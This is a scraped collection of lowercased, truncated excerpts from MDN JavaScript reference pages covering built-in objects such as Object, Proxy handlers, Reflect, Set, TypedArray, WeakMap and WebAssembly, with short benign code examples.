ect. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.fromentries(iterable); parameters iterable an iterable such as array or map or other objects implementing the iterable protocol. return value a
new object whose properties are given by the entries of the iterable. description the object.fromentries() method takes a list of key-value pairs and returns a
new object whose properties are given by those entries. the iterable argument is expected to be an object that implements an @@iterator method, that returns an iterator object, that produces a two element array-like object, whose first eleme...
...t returns an iterator object, that produces a two element array-like object, whose first element is a value that will be used as a property key, and whose second element is the value to associate with that property key. object.fromentries() performs the reverse of object.entries(). ...
Object.getOwnPropertyNames() - JavaScript
e a for...in loop (note that this will also return enumerable properties found along the prototype chain for the object unless the latter is filtered with hasownproperty()). ...
... unless the latter is filtered with hasownproperty()). items on the prototype chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function childclass() { this.prop = 5; this.method = function() {}; } childclass.prototype =
new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames(
new childclass() // ["prop", "method"] ) ); get non-enumerable properties only this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys()) from a list of all keys (obtained with object.getownpropertynames()) thus giving only the non-enumerable keys as output. var target = myobject; var enum_and_nonenum = object.getownpropertynames(target); var enu...
Object.isExtensible() - JavaScript
the object.isextensible() method determines if an object is extensible (whether it can have
new properties added to it). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.isextensible(obj) parameters obj the object which should be checked. return value a boolean indicating whether or not the given object is extensible. description objects are extensible by default: they can have
new properties added to them, and (in engines that support __proto__) their __proto__ property can be modified. an object can be marked as non-extensible using object.preventextensions(), object.seal(), or object.free...
...var empty = {}; object.isextensible(empty); // === true // ...but that can be changed. object.preventextensions(empty); object.isextensible(empty); // === false // sealed objects are by definition non-extensible. ...
Object.prototype.propertyIsEnumerable() - JavaScript
umerable('math'); // returns false direct vs. ...
...ertyisenumerable('constructor'); // returns false function firstconstructor() { this.property = 'is not enumerable'; } firstconstructor.prototype.firstmethod = function() {}; function secondconstructor() { this.method = function() { return 'is enumerable'; }; } secondconstructor.prototype =
new firstconstructor; secondconstructor.prototype.constructor = secondconstructor; var o =
new secondconstructor(); o.arbitraryproperty = 'is enumerable'; o.propertyisenumerable('arbitraryproperty'); // returns true o.propertyisenumerable('method'); // returns true o.propertyisenumerable('property'); // returns false o.property = 'is enumerable'; o.propertyisenumerable('property'); // returns true // these return false as they are on the prototype w...
Object.seal() - JavaScript
the object.seal() method seals an object, preventing
new properties from being added to it and marking all existing properties as non-configurable. values of present properties can still be changed as long as they are writable. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.seal(obj) parameters obj the object which should be sealed. return value the object being sealed. description by default, objects are extensible (
new properties can be added to them). sealing an object prevents
new properties from being added and marks all existing properties as non-configurable. this has the effect of ...
...sively, when in strict mode code). the prototype chain remains untouched. however, the __proto__ property is sealed as well. comparison to object.freeze() existing properties in objects frozen with object.freeze() are made immutable. objects sealed with object.seal() can have their existing properties changed. examples using object.seal var obj = { prop: function() {}, foo: 'bar' }; //
new properties may be added, existing properties // may be changed or removed. obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; var o = object.seal(obj); o === obj; // true object.issealed(obj); // === true // changing property values on a sealed object // still works. obj.foo = 'quux'; // but you can't convert data properties to accessors, // or vice versa. object.defineproperty(obj, 'foo',...
Object.prototype.toSource() - JavaScript
ive code] } for instances of object, tosource() returns a string representing the source code. you can call tosource() while debugging to examine the contents of an object. overriding the tosource() method it is safe for objects to override the tosource() method. for example: function person(name) { this.name = name; } person.prototype.tosource = function person_tosource() { return '
new person(' + uneval(this.name) + ')'; }; console.log(
new person('joe').tosource()); // --->
new person("joe") built-in tosource() methods each core javascript type has its own tosource() method. these objects are: array.prototype.tosource() — array object. boolean.prototype.tosource() — boolean object. date.prototype.tosource() — date object. function.prototype.tosource() — fu...
...rce() is needed, the object must provide an override to tosource(), either using a reference to a constructor or providing an anonymous function. examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog =
new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard. ...
Promise.allSettled() - JavaScript
a promise object that has already been resolved as an empty array. for each outcome object, a status string is present. if the status is fulfilled, then a value is present. if the status is rejected, then a reason is present. the value (or reason) reflects what value each promise was fulfilled (or rejected) with. ...
...come object, a status string is present. if the status is fulfilled, then a value is present. if the status is rejected, then a reason is present. the value (or reason) reflects what value each promise was fulfilled (or rejected) with. examples using promise.allsettled promise.allsettled([ promise.resolve(33),
new promise(resolve => settimeout(() => resolve(66), 0)), 99, promise.reject(
new error('an error')) ]) .then(values => console.log(values)); // [ // {status: "fulfilled", value: 33}, // {status: "fulfilled", value: 66}, // {status: "fulfilled", value: 99}, // {status: "rejected", reason: error: an error} // ] specifications specification ecmascript (ecma-262)the definition of 'promise.allsettled' in that specification. ...
Promise.prototype.finally() - JavaScript
solve(2).then(() => {}, () => {}) (which will be resolved with undefined), promise.resolve(2).finally(() => {}) will be resolved with 2. similarly, unlike promise.reject(3).then(() => {}, () => {}) (which will be fulfilled with undefined), promise.reject(3).finally(() => {}) will be rejected with 3. ...
...when console = {} */ }) .finally(function() { isloading = false; }); please do not add polyfills on mdn pages. ...
handler.apply() - JavaScript
this is bound to the handler. ...
...tions this trap can intercept these operations: proxy(...args) function.prototype.apply() and function.prototype.call() reflect.apply() invariants if the following invariants are violated, the proxy will throw a typeerror. the target must be a callable itself. that is, it must be a function object. examples trapping a function call the following code traps a function call. ...
handler.deleteProperty() - JavaScript
the handler.deleteproperty() method is a trap for the delete operator. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { deleteproperty: function(target, property) { } }); parameters the following parameters are passed to the deleteproperty() method. this is bound to the handler. target the target object. property the name or symbol of the property to delete. return value the deleteproperty() method must return a boolean indicating whether or not the property has been successfully deleted. description the handler.deleteproperty() method is a trap for the delete ...
...pt these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be deleted, if it exists as a non-configurable own property of the target object. examples trapping the delete operator the following code traps the delete operator. ...
handler.set() - JavaScript
the handler.set() method is a trap for setting a property value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { set: function(target, property, value, receiver) { } }); parameters the following parameters are passed to the set() method. this is bound to the handler. target the target object. property the name or symbol of the property to set. value the
new value of the property to set. receiver the object to which the assignment was originally directed. this is usually the proxy itself. but a set() handler can also be called indirectly, via the prototype c...
...non-configurable data property. cannot set the value of a property if the corresponding target object property is a non-configurable accessor property that has undefined as its [[set]] attribute. in strict mode, a false return value from the set() handler will throw a typeerror exception. examples trap setting of a property value the following code traps setting a property value. ...
ReferenceError() constructor - JavaScript
human-readable description of the error. filename optional optional. the name of the file containing the code that caused the exception. linenumber optional optional. the line number of the code that caused the exception. ...
...age) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw
new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.l...
ReferenceError - JavaScript
instance properties referenceerror.prototype.message error message. although ecma-262 specifies that referenceerror should provide its own message property, in spidermonkey, it inherits error.prototype.message. referenceerror.prototype.name error name. inherited from error. referenceerror.prototype.filename path to file that raised this error. inherited from error. referenceerror.prototype.linenumber line number in file that raised this error. inherited from error. ...
...age) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw
new referenceerror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.l...
Reflect.get() - JavaScript
operty. exceptions a typeerror, if target is not an object. description the reflect.get method allows you to get a property on an object. it is like the property accessor syntax as a function. ...
...nction. examples using reflect.get() // object let obj = { x: 1, y: 2 } reflect.get(obj, 'x') // 1 // array reflect.get(['zero', 'one'], 1) // "one" // proxy with a get handler let x = {p: 1}; let obj =
new proxy(x, { get(t, k, r) { return k + 'bar' } }) reflect.get(obj, 'foo') // "foobar" //proxy with get handler and receiver let x = {p: 1, foo: 2}; let y = {foo: 3}; let obj =
new proxy(x, { get(t, prop, receiver) { return receiver[prop] + 'bar' } }) reflect.get(obj, 'foo', y) // "3bar" specifications specification ecmascript (ecma-262)the definition of 'reflect.get' in that specification. ...
Reflect.isExtensible() - JavaScript
the static reflect.isextensible() method determines if an object is extensible (whether it can have
new properties added to it). it is similar to object.isextensible(), but with some differences. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.isextensible(target) parameters target the target object which to check if it is extensible. return value a boolean indicating whether or not the target is extensible. exceptions a typeerror, if target is not an object. ...
...examples and send us a pull request. syntax reflect.isextensible(target) parameters target the target object which to check if it is extensible. return value a boolean indicating whether or not the target is extensible. exceptions a typeerror, if target is not an object. description the reflect.isextensible method allows you determine if an object is extensible (whether it can have
new properties added to it). it is the same method as object.isextensible(). examples using reflect.isextensible() see also object.isextensible(). //
new objects are extensible. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.preventextensions(empty) reflect.isextensible(empty) // === false // sealed objects are by definition non-extensible. let s...
Reflect.preventExtensions() - JavaScript
it is similar to object.preventextensions(), but with some differences. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.preventextensions(target) parameters target the target object on which to prevent extensions. return value a boolean indicating whether or not the target was successfully set to prevent extensions. exceptions a typeerror, if target is not an object. ...
...teractive-examples and send us a pull request. syntax reflect.preventextensions(target) parameters target the target object on which to prevent extensions. return value a boolean indicating whether or not the target was successfully set to prevent extensions. exceptions a typeerror, if target is not an object. description the reflect.preventextensions() method allows you to prevent
new properties from ever being added to an object (i.e., prevents future extensions to the object). it is similar to object.preventextensions(). examples using reflect.preventextensions() see also object.preventextensions(). // objects are extensible by default. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.preventextensions(empty) reflect.isexten...
RegExp.prototype.global - JavaScript
the value of global is a boolean and true if the "g" flag was used; otherwise, false. the "g" flag indicates that the regular expression should be tested against all possible matches in a string. a regular expression defined as both global ("g") and sticky ("y") will ignore the global flag and perform sticky matches. you cannot change this property directly. ...
...ches in a string. a regular expression defined as both global ("g") and sticky ("y") will ignore the global flag and perform sticky matches. you cannot change this property directly. examples using global var regex =
new regexp('foo', 'g'); console.log(regex.global); // true var str = 'fooexamplefoo'; var str1 = str.replace(regex, ''); console.log(str1); // output: example var regex1 =
new regexp('foo'); var str2 = str.replace(regex1, ''); console.log(str2); // output: examplefoo specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.global' in that specification. ...
RegExp.input ($_) - JavaScript
tatic, it is not a property of an individual regular expression object. instead, you always use it as regexp.input or regexp.$_. ...
...always use it as regexp.input or regexp.$_. the value of the input property is modified whenever the searched string on the regular expression is changed and that string is matching. ...
Set.prototype[@@iterator]() - JavaScript
roperty. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset[symbol.iterator] return value the set iterator function, which is the values() function by default. ...
...lue the set iterator function, which is the values() function by default. examples using [@@iterator]() const myset =
new set(); myset.add('0'); myset.add(1); myset.add({}); const setiter = myset[symbol.iterator](); console.log(setiter.next().value); // "0" console.log(setiter.next().value); // 1 console.log(setiter.next().value); // object using [@@iterator]() with for..of const myset =
new set(); myset.add('0'); myset.add(1); myset.add({}); for (const v of myset) { console.log(v); } specifications specification ecmascript (ecma-262)the definition of 'set.prototype[@@iterator]' in that specification. ...
Set.prototype.entries() - JavaScript
the entries() method returns a
new iterator object that contains an array of [value, value] for each element in the set object, in insertion order. for set objects there is no key like in map objects. however, to keep the api similar to the map object, each entry has the same value for its key and value here, so that an array [value, value] is returned. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.entries() return value a
new iterator object that contains an array of [value, value] for each element in the given set, in insertion order. ...
...teractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.entries() return value a
new iterator object that contains an array of [value, value] for each element in the given set, in insertion order. examples using entries() var myset =
new set(); myset.add('foobar'); myset.add(1); myset.add('baz'); var setiter = myset.entries(); console.log(setiter.next().value); // ["foobar", "foobar"] console.log(setiter.next().value); // [1, 1] console.log(setiter.next().value); // ["baz", "baz"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.entries' in that specification. ...
Set.prototype.forEach() - JavaScript
his value. otherwise, the value undefined will be passed for use as its this value. the this value ultimately observable by callback is determined according to the usual rules for determining the this seen by a function. each value is visited once, except in the case when it was deleted and re-added before foreach() has finished. callback is not invoked for values deleted before being visited. ...
... visited.
new values added before foreach() has finished will be visited. foreach() executes the callback function once for each element in the set object; it does not return a value. examples logging the contents of a set object the following code logs a line for each element in a set object: function logsetelements(value1, value2, set) { console.log('s[' + value1 + '] = ' + value2); }
new set(['foo', 'bar', undefined]).foreach(logsetelements); // logs: // "s[foo] = foo" // "s[bar] = bar" // "s[undefined] = undefined" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.foreach' in that specification. ...
Set.prototype.has() - JavaScript
d send us a pull request. syntax myset.has(value); parameters value the value to test for presence in the set object. return value returns true if an element with the specified value exists in the set object; otherwise false. note: technically speaking, has() uses the samevaluezero algorithm to determine whether the given element is found. ...
...set object. return value returns true if an element with the specified value exists in the set object; otherwise false. note: technically speaking, has() uses the samevaluezero algorithm to determine whether the given element is found. examples using the has method var myset =
new set(); myset.add('foo'); myset.has('foo'); // returns true myset.has('bar'); // returns false var set1 =
new set(); var obj1 = {'key1': 1}; set1.add(obj1); set1.has(obj1); // returns true set1.has({'key1': 1}); // returns false because they are different object references set1.add({'key1': 1}); // now set1 contains 2 entries specifications specification ecmascript (ecma-262)the definition of 'set.prototype.has' in that specification. ...
Set.prototype.values() - JavaScript
the values() method returns a
new iterator object that contains the values for each element in the set object in insertion order. the keys() method is an alias for this method (for similarity with map objects); it behaves exactly the same and returns values of set elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.values(); return value a
new iterator object containing the values for each element in the given set, in insertion order. ...
... source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.values(); return value a
new iterator object containing the values for each element in the given set, in insertion order. examples using values() var myset =
new set(); myset.add('foo'); myset.add('bar'); myset.add('baz'); var setiter = myset.values(); console.log(setiter.next().value); // "foo" console.log(setiter.next().value); // "bar" console.log(setiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.values' in that specification. ...
SharedArrayBuffer() constructor - JavaScript
aybuffer() constructor is used to create a sharedarraybuffer object representing a generic, fixed-length raw binary data buffer, similar to the arraybuffer object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new sharedarraybuffer([length]) parameters length the size, in bytes, of the array buffer to create. return value a
new sharedarraybuffer object of the specified size. its contents are initialized to 0. examples always use the
new operator to create a sharedarraybuffer sharedarraybuffer constructors are required to be constructed with a
new operator. calling a sharedarraybuffer constructo...
...th]) parameters length the size, in bytes, of the array buffer to create. return value a
new sharedarraybuffer object of the specified size. its contents are initialized to 0. examples always use the
new operator to create a sharedarraybuffer sharedarraybuffer constructors are required to be constructed with a
new operator. calling a sharedarraybuffer constructor as a function without
new will throw a typeerror. var sab = sharedarraybuffer(1024); // typeerror: calling a builtin sharedarraybuffer constructor // without
new is forbidden var sab =
new sharedarraybuffer(1024); specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer constructor' in that specification. ...
String.prototype.match() - JavaScript
xpression. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.match(regexp) parameters regexp a regular expression object. if regexp is a non-regexp object, it is implicitly converted to a regexp by using
new regexp(regexp). if you don't give any parameter and use the match() method directly, you will get an array with an empty string: [""]. return value an array whose contents depend on the presence or absence of the global (g) flag, or null if no matches are found. if the g flag is used, all results matching the complete regular expression will be returned, but capturing groups will not. if ...
... if it is a positive number with a positive sign, regexp() will ignore the positive sign. const str1 = "nan means not a number. infinity contains -infinity and +infinity in javascript.", str2 = "my grandfather is 65 years old and my grandmother is 63 years old.", str3 = "the contract was declared null and void."; str1.match("number"); // "number" is a string. returns ["...
String.prototype.matchAll() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.matchall(regexp) parameters regexp a regular expression object. if a non-regexp object obj is passed, it is implicitly converted to a regexp by using
new regexp(obj). the regexp object must have the /g flag, otherwise a typeerror will be thrown. return value an iterator (which is not a restartable iterable). examples regexp.exec() and matchall() prior to the addition of matchall to javascript, it was possible to use calls to regexp.exec (and regexes with the /g flag) in a loop to obtain all the matches: const regexp = regexp('foo[a-z]*'...
... const regexp = regexp('[a-c]',''); const str = 'abc'; str.matchall(regexp); // typeerror matchall internally makes a clone of the regexp—so, unlike regexp.exec(), lastindex does not change as the string is scanned. const regexp = regexp('[a-c]...
String.prototype.split() - JavaScript
ements in the array, and the individual array elements. ...
... ' elements: ', arrayofstrings.join(' / ')) } const tempeststring = 'oh brave
new world that has such people in it.' const monthstring = 'jan,feb,mar,apr,may,jun,jul,aug,sep,oct,nov,dec' const space = ' ' const comma = ',' splitstring(tempeststring, space) splitstring(tempeststring) splitstring(monthstring, comma) this example produces the following output: the original string is: "oh brave
new world that has such people in it." the separator is: " " the array has 10 elements: oh / brave /
new / world / that / has / such / people / in / it. the original string is: "oh brave
new world that has such people in it." the separator is: "undefined" the array has 1 elements: oh brave
new world that has such people in it. the original string is: "jan,feb,mar,apr,may,jun,jul,aug,sep,oct,nov,dec...
SyntaxError - JavaScript
instance properties syntaxerror.prototype.message error message. although ecma-262 specifies that syntaxerror should provide its own message property, in spidermonkey, it inherits error.prototype.message. ...
...r. syntaxerror.prototype.stack stack trace. inherited from error. ...
TypeError - JavaScript
be performed, typically (but not exclusively) when a value is not of the expected type. a typeerror may be thrown when: an operand or argument passed to a function is incompatible with the type expected by that operator or function; or when attempting to modify a value that cannot be changed; or when attempting to use a value in an inappropriate way. constructor typeerror() creates a
new typeerror object. instance properties typeerror.prototype.message error message. although ecma-262 specifies that typeerror should provide its own message property, in spidermonkey, it inherits error.prototype.message. typeerror.prototype.name error name. inherited from error. typeerror.prototype.filename path to file that raised this error. inherited from error. typeerror.prototype.li...
...nstanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw
new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratch...
TypedArray.prototype[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the values property. syntax arr[symbol.iterator]() return value the array iterator function, which is the values() function by default. ...
...l value of the values property. syntax arr[symbol.iterator]() return value the array iterator function, which is the values() function by default. ...
TypedArray.prototype.forEach() - JavaScript
index the index of the current element being processed in the array. ...
...before being visited are not visited. foreach() executes the callback function once for each typed array element; unlike every() and some() it, always returns the value undefined. examples logging the contents of a typed array the following code logs a line for each element in a typed array: function logarrayelements(element, index, array) { console.log('a[' + index + '] = ' + element); }
new uint8array([0, 1, 2, 3]).foreach(logarrayelements); // logs: // a[0] = 0 // a[1] = 1 // a[2] = 2 // a[3] = 3 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.foreach' in that specification. ...
TypedArray.prototype.includes() - JavaScript
tive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.includes(searchelement[, fromindex]); parameters searchelement the element to search for. fromindex optional. the position in this array at which to begin searching for searchelement; defaults to 0. return value a boolean. ...
...ters searchelement the element to search for. fromindex optional. the position in this array at which to begin searching for searchelement; defaults to 0. return value a boolean. examples using includes var uint8 =
new uint8array([1,2,3]); uint8.includes(2); // true uint8.includes(4); // false uint8.includes(3, 3); // false // nan handling (only true for float32 and float64)
new uint8array([nan]).includes(nan); // false, since the nan passed to the constructor gets converted to 0
new float32array([nan]).includes(nan); // true;
new float64array([nan]).includes(nan); // true; specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.includes' in that specification. ...
TypedArray.of() - JavaScript
the typedarray.of() method creates a
new typed array from a variable number of arguments. this method is nearly the same as array.of(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.of(element0[, element1[, ...[, elementn]]]) where typedarray is one of: int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters elementn elements of which to create the typed array. return value a
new typedarray instance. description some subtle distinctions between array.of() and typedarray.of(): if the t...
...nt32array float32array float64array bigint64array biguint64array parameters elementn elements of which to create the typed array. return value a
new typedarray instance. description some subtle distinctions between array.of() and typedarray.of(): if the this value passed to typedarray.of is not a constructor, typedarray.of will throw a typeerror, where array.of defaults to creating a
new array. typedarray.of uses [[put]] where array.of uses [[defineproperty]]. hence, when working with proxy objects, it calls handler.set to create
new elements rather than handler.defineproperty. examples using of uint8array.of(1); // uint8array [ 1 ] int8array.of('1', '2', '3'); // int8array [ 1, 2, 3 ] float32array.of(1, 2, 3); // float32array [ 1, 2, 3 ] int16array.of(undefine...
TypedArray.prototype.toString() - JavaScript
rn value a string representing the elements of the typed array. examples the typedarray objects override the tostring method of object. for typedarray objects, the tostring method joins the array and returns one string containing each typed array element separated by commas. for example, the following code creates a typed array and uses tostring to convert the array to a string. ...
...rs =
new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation. compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers =
new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification. ...
URIError() constructor - JavaScript
human-readable description of the error. filename optional optional. the name of the file containing the code that caused the exception. linenumber optional optional. the line number of the code that caused the exception. ...
....log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw
new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9...
URIError - JavaScript
instance properties urierror.prototype.message error message. although ecma-262 specifies that urierror should provide its own message property, in spidermonkey, it inherits error.prototype.message. urierror.prototype.name error name. inherited from error. urierror.prototype.filename path to file that raised this error. inherited from error. urierror.prototype.linenumber line number in file that raised this error. inherited from error. ...
....log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw
new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9...
WeakMap() constructor - JavaScript
the weakmap() constructor creates weakmap objects which are a collections of key/value pairs in which the keys are weakly referenced. the keys must be objects and the values can be arbitrary values. you can learn more about weakmaps in the section weakmap object in keyed collections. syntax
new weakmap([iterable]) parameters iterable iterable is an array or other iterable object whose elements are key-value pairs (2-element arrays). each key-value pair will be added to the
new weakmap. ...
...lues can be arbitrary values. you can learn more about weakmaps in the section weakmap object in keyed collections. syntax
new weakmap([iterable]) parameters iterable iterable is an array or other iterable object whose elements are key-value pairs (2-element arrays). each key-value pair will be added to the
new weakmap. null is treated as undefined. examples using weakmap const wm1 =
new weakmap(), wm2 =
new weakmap(), wm3 =
new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects. even weakmaps! wm1.get(o2); // "azerty" wm2.get(o2); // undefined, beca...
WeakMap.prototype.set() - JavaScript
the set() method adds a
new element with a specified key and value to a weakmap object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax wm.set(key, value); parameters key required. must be object. the key of the element to add to the weakmap object. value required. any value. the value of the element to add to the weakmap object. return value the weakmap object. ...
...active examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax wm.set(key, value); parameters key required. must be object. the key of the element to add to the weakmap object. value required. any value. the value of the element to add to the weakmap object. return value the weakmap object. examples using the set method var wm =
new weakmap(); var obj = {}; // add
new elements to the weakmap wm.set(obj, 'foo').set(window, 'bar'); // chainable // update an element in the weakmap wm.set(obj, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.set' in that specification. ...
WeakSet.prototype.add() - JavaScript
the add() method appends a
new object to the end of a weakset object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax ws.add(value); parameters value required. the object to add to the weakset collection. return value the weakset object. ...
...ct. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax ws.add(value); parameters value required. the object to add to the weakset collection. return value the weakset object. ...
WebAssembly.Instance() constructor - JavaScript
the webassembly.instance() constructor creates a
new instance object which is a stateful, executable instance of a webassembly.module. syntax important: since instantiation for large modules can be expensive, developers should only use the instance() constructor when synchronous instantiation is absolutely required; the asynchronous webassembly.instantiatestreaming() method should be used at all other times.
new webassembly.instance(module, importobject); parameters module the webassembly.module object to be instantiated. importobject optional an object containing the values to be imported into the
newly-created instance, such as functions or webassembly.memory objects. there must be one matching property for each declared import of module or else a webassembly.linkerror is throw...
...amples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod =
new webassembly.module(bytes); let instance =
new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) however, the preferred way to get an instance is through the asynchronous webassembly.instantiatestreaming() function, for example like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instan...
WebAssembly.Instance - JavaScript
instance properties instance.prototype.exports returns an object containing as its members all the functions exported from the webassembly module instance, to allow them to be accessed and used by javascript. read-only. ...
...amples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod =
new webassembly.module(bytes); let instance =
new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) the preferred way to get an instance is asynchronously, for example using the webassembly.instantiatestreaming() function like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestre...
WebAssembly.Memory.prototype.grow() - JavaScript
oype method of the memory object increases the size of the memory instance by a specified number of webassembly pages. syntax memory.grow(number); parameters number the number of webassembly pages you want to grow the memory by (each one is 64kib in size). return value the previous size of the memory, in units of webassembly pages. ...
... memory.grow(number); parameters number the number of webassembly pages you want to grow the memory by (each one is 64kib in size). return value the previous size of the memory, in units of webassembly pages. examples using grow the following example creates a
new webassembly memory instance with an initial size of 1 page (64kib), and a maximum size of 10 pages (640kib). ...
WebAssembly.Module - JavaScript
